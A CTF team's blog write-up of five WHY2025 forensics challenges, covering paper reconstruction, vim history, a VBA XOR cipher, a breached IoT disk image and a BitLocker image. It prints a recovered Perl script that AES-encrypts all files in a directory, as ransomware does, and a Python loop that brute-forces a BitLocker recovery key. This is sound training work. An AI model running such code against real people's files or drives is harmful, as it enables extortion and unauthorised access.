team-logo
Published on

WHY2025 CTF - Forensics challenges

Authors

The WHY2025 CTF took place from August 8th to 11th. We solved all 5 out of 5 Forensics challenges. You can find more information about the CTF here.

toshredsyousay

Description

I bought a new shredder and I just tested it. I think it does a decent job, I made a scan of the results, what do you think?

Solution

There was a .pdf file provided. The file had a photo of a shredded piece of paper with data. First, I converted the .pdf to .png for easier editing:

The pieces of paper

Since I couldn't rearrange the physically, I used GIMP to cut and digitally move them. After that I got the flag:

The recovered flag

flag{dd0755b73e4b7dfd0e06f927874e1511}

Writeup author: 0xcheba

The Wizard

Description

After some issues involving a robe and wizard hat, HR decided it was best if we let go of this old developer we had. However with him gone we now lost access to some systems, since he had his own way of saving passwords. Can you help us out?

Solution

Several files from the user's home directory were provided:

Files provided

The .bash_logout, .bashrc, and .profile files contained no useful information. The .pwfault file appeared to contain encrypted (or obfuscated) data:

The interesting one

There was also a .viminfo file containing command and file history:

Vim file history Vim command history

The following table explains all the commands used to perform data transformation:

The commandWhat does it do
:v/?/dRemoves all lines that don't contain a "?" symbol
:%s,[^a-f0-9],,gRemoves allcharacters that are not in hex
:%s/\n//Removes all newline characters
:s/dd/Removes the first "dd"
:%s/^...../flag{Swaps first five characters to "flag{"
:%s/.$/}Swaps the last characters to "}"

I replicated all of the recorded commands and successfully recovered the flag:

The recovered flag

flag{a0f6e83e1f18d04c1f9383a30751168e}

Writeup author: 0xcheba

Painted Black

Description

The Ravenbook Police Department is using a new product to black out Personally identifiable information (PII) from their Word documents before making them public. We heard through the grapevine that this product is not that safe. Can you check this document and retrieve the blacked out information?

Solution

The .docm file was provided:

The original file

The blacked-out text looked encrypted, for example, one of the strings in the file: q~luaj*-:"#j!rs4v,k| <u-9'$wity8$9!.q\. This is a Word file, so I could unzip it and get more information about the file. The first interesting thing I found was the VBA script (./word/vbaProject.bin):

The VBA script

Here I noticed that the script encrypts/decrypts the selected text with 0x7B byte and the lowercased username of the person who created the file, without spaces and starting with the second byte. So I looked for the username and found it in the ./docProps/core.xml file:

The username of file author

After processing the encrypted text using the extracted username, I recovered the flag:

The recovered flag

flag{c48219f5ea9d6bb54f7533edfc1a1124}

Writeup author: 0xcheba

iot breach

Description

Please help me! A hacker has attacked my network and now I can't see my files anymore :( Can you please help me to recover them?

Solution

The disk image (.img) was provided. The image contained all files including root directory. There is a directory with encrypted kitten pictures:

Encrypted files

I searched through all the files and found several interesting things: in the file ./var/log/lighttpd/access.log I found many logs with strange data. It looked like base64 data that was sent through a web-access ping application with command injection vulnerability:

Web server logs with base64 decoded data

I decoded all the transferred data and recovered the following Perl script:

use strict;
use warnings;
use Crypt::Mode::CBC;
use File::Find;

# Check if password is provided
die "Usage: $0 <password>
" unless @ARGV == 1;
my $password = $ARGV[0];

# Define encryption parameters
my $cipher = Crypt::Mode::CBC->new("AES");

# Get all files in the current directory
find(sub {
    return if -d $_;  # Skip directories
    return if $_ =~ /.pl$/;
    encrypt_file($_);
}, ".");

sub encrypt_file {
    my ($file) = @_;

    # Read file contents
    open my $fh, '<', $file or die "Could not open '$file' for reading: $!";
    binmode $fh;
    my $data = do { local $/; <$fh> };
    close $fh;

    # Encrypt the data
    my $encrypted = $cipher->encrypt($data, $password, "R4ND0MivR4ND0Miv");

    # Write encrypted data back to file
    open my $fh_out, '>', "$file.enc" or die "Could not open '$file.enc' for writing: $!";
    binmode $fh_out;
    print $fh_out $encrypted;
    close $fh_out;

    print "Encrypted $file -> $file.enc
";
}

print "Encryption complete.
";

I found that pictures were encrypted using the AES algorithm with the Initialization Vector R4ND0MivR4ND0Miv. Also there was an encryption key in the web server logs:

The encryption key URL decoded encryption key

Using the CyberChief, I recovered encrypted pictures and one of the pictures contained the flag:

The flag

flag{b5f18f25dd58d68d083e03260c3b6f34}

Writeup author: 0xcheba

BitLocked

Description

An image of an encrypted SD card and a photo of its recovery key are provided, although the final block of the key is obscured by the card.

bitlocked

Solution

First, we'll need to mount the BitLocker-encrypted partition, which can be done using a program like OSFMount.

Next, we need to unlock the partition using the recovery key:

manage-bde -unlock F: -recoverypassword 718894-682847-228371-253055-328559-381458-030668-000000

However, the complete key is still unknown. We can assume that the last block begins with "04", leaving us with 10000 possible combinations to check.

I heard that brute-forcing is the ultimate answer to every problem, so:

import subprocess

base_key = "718894-682847-228371-253055-328559-381458-030668-04"
drive = "F:"

for i in range(10000):
    last_block = f"{i:04d}"
    full_key = base_key + last_block
    cmd = [
        "manage-bde",
        "-unlock",
        drive,
        "-recoverypassword",
        full_key
    ]
    print(f"Trying: {full_key}")
    p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
    try:
        out, err = p.communicate(timeout=10)
        if "unlock of the volume was successful" in out.lower() or "already unlocked" in out.lower():
            print("SUCCESS:", full_key)
            break
    except subprocess.TimeoutExpired:
        p.kill()

After a few minutes, the correct key is found, and the partition is automatically unlocked:

...
Trying: 718894-682847-228371-253055-328559-381458-030668-047839
Trying: 718894-682847-228371-253055-328559-381458-030668-047840
SUCCESS: 718894-682847-228371-253055-328559-381458-030668-047840

The root directory now contains flag.txt.

flag{874ce13969267c0124118c0d7b25c8cc}

Writeup author: Lazarus